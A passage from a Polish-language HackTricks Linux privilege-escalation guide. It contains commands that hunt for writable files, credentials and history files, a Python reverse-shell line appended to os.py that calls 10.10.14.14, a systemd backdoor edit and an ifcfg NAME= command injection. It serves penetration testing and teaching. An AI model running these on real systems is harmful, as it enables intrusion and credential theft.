find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Na przykład, jeśli maszyna uruchamia serwer tomcat i możesz zmodyfikować plik konfiguracyjny usługi Tomcat w katalogu /etc/systemd/, to możesz zmodyfikować linie:

ExecStart=/path/to/backdoor
User=root
Group=root

Twój backdoor zostanie uruchomiony przy następnym uruchomieniu tomcat.

Sprawdź foldery

Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacje: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Dziwna lokalizacja/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Zmodyfikowane pliki w ostatnich minutach

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Pliki Sqlite DB

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Ukryte pliki

find / -type f -iname ".*" -ls 2>/dev/null

Skrypty/Binaria w PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Pliki webowe

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Kopie zapasowe

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Znane pliki zawierające hasła

Przejrzyj kod linPEAS, on wyszukuje wiele możliwych plików, które mogą zawierać hasła.
Inne interesujące narzędzie, którego możesz użyć do tego to: LaZagne które jest otwartoźródłową aplikacją służącą do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac.

Logi

Jeśli możesz odczytać logi, możesz znaleźć w nich interesujące/poufne informacje. Im bardziej „dziwny” log, tym prawdopodobnie bardziej będzie on interesujący.
Również niektóre “bad” skonfigurowane (backdoored?) audit logs mogą pozwolić na zapisanie haseł wewnątrz audit logs, jak wyjaśniono w tym poście: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Aby czytać logi, grupa adm będzie bardzo pomocna.

Pliki Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Ogólne wyszukiwanie Creds/Regex

Powinieneś także sprawdzić pliki zawierające słowo “password” w jego nazwie lub wewnątrz zawartości, a także sprawdzić IPs i emails w logach, lub hashes regexps.
Nie zamierzam tu wypisywać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje linpeas.

Pliki zapisywalne

Python library hijacking

Jeśli wiesz skąd skrypt python będzie uruchamiany i możesz zapisać wewnątrz tego folderu lub możesz modyfikować biblioteki python, możesz zmodyfikować bibliotekę OS i backdoor ją (jeśli możesz zapisać tam, gdzie skrypt python będzie wykonywany, skopiuj i wklej bibliotekę os.py).

Aby backdoor the library po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Eksploatacja logrotate

Podatność w logrotate pozwala użytkownikom z write permissions do pliku logu lub jego katalogów nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ logrotate, często działający jako root, może być zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak /etc/bash_completion.d/. Ważne jest sprawdzenie uprawnień nie tylko w /var/log, ale także w każdym katalogu, w którym stosowana jest rotacja logów.

Tip

Ta podatność dotyczy logrotate w wersji 3.18.0 i starszych

Bardziej szczegółowe informacje o podatności można znaleźć na tej stronie: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Tę podatność można wykorzystać za pomocą logrotten.

Ta podatność jest bardzo podobna do CVE-2016-1247 (nginx logs), więc zawsze, gdy możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz uzyskać eskalację uprawnień, zastępując logi symlinkami.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie zapisać skrypt ifcf-<whatever> w /etc/sysconfig/network-scripts lub może dostosować istniejący, to twój system jest pwned.

Skrypty sieciowe, na przykład ifcg-eth0, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są sourced w Linuksie przez Network Manager (dispatcher.d).

W moim przypadku atrybut NAME= w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli w NAME znajduje się spacja, system próbuje wykonać część po spacji. To oznacza, że wszystko po pierwszej spacji jest wykonywane jako root.

Na przykład: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Zwróć uwagę na spację między Network a /bin/id)

init, init.d, systemd i rc.d

Katalog /etc/init.d zawiera skrypty dla System V init (SysVinit), klasycznego systemu zarządzania usługami Linux. Zawiera skrypty do start, stop, restart i czasami reload usług. Mogą być wykonywane bezpośrednio lub przez linki symboliczne znalezione w /etc/rc?.d/. Alternatywną ścieżką w systemach Redhat jest /etc/rc.d/init.d.

Z kolei /etc/init jest powiązany z Upstart, nowszym systemem zarządzania usługami wprowadzonym przez Ubuntu, używając plików konfiguracyjnych do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart dzięki warstwie kompatybilności w Upstart.

systemd pojawia się jako nowoczesny menedżer init i usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automountami oraz migawki stanu systemu. Organizuje pliki w /usr/lib/systemd/ dla pakietów dystrybucji oraz w /etc/systemd/system/ dla modyfikacji administratora, upraszczając proces administracji systemem.

Inne triki

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność jądra managerowi w userspace. Słaba autoryzacja managera (np. sprawdzenia podpisu oparte na kolejności FD lub słabe schematy haseł) może pozwolić lokalnej aplikacji podszyć się pod managera i eskalować do root na urządzeniach już zrootowanych. Dowiedz się więcej i zobacz szczegóły eksploatacji tutaj:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Oparte na regexie wykrywanie usług w VMware Tools/Aria Operations może wyekstrahować ścieżkę do binarki z linii poleceń procesu i uruchomić ją z parametrem -v w uprzywilejowanym kontekście. Permisywne wzorce (np. użycie \S) mogą dopasować nasłuchiwacze przygotowane przez atakującego w zapisywalnych lokalizacjach (np. /tmp/httpd), prowadząc do wykonania jako root (CWE-426 Untrusted Search Path).

Dowiedz się więcej i zobacz uogólniony wzorzec mający zastosowanie do innych discovery/monitoring stacków tutaj:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Mechanizmy ochrony jądra

Więcej pomocy

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumeruje luki jądra w Linux i macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks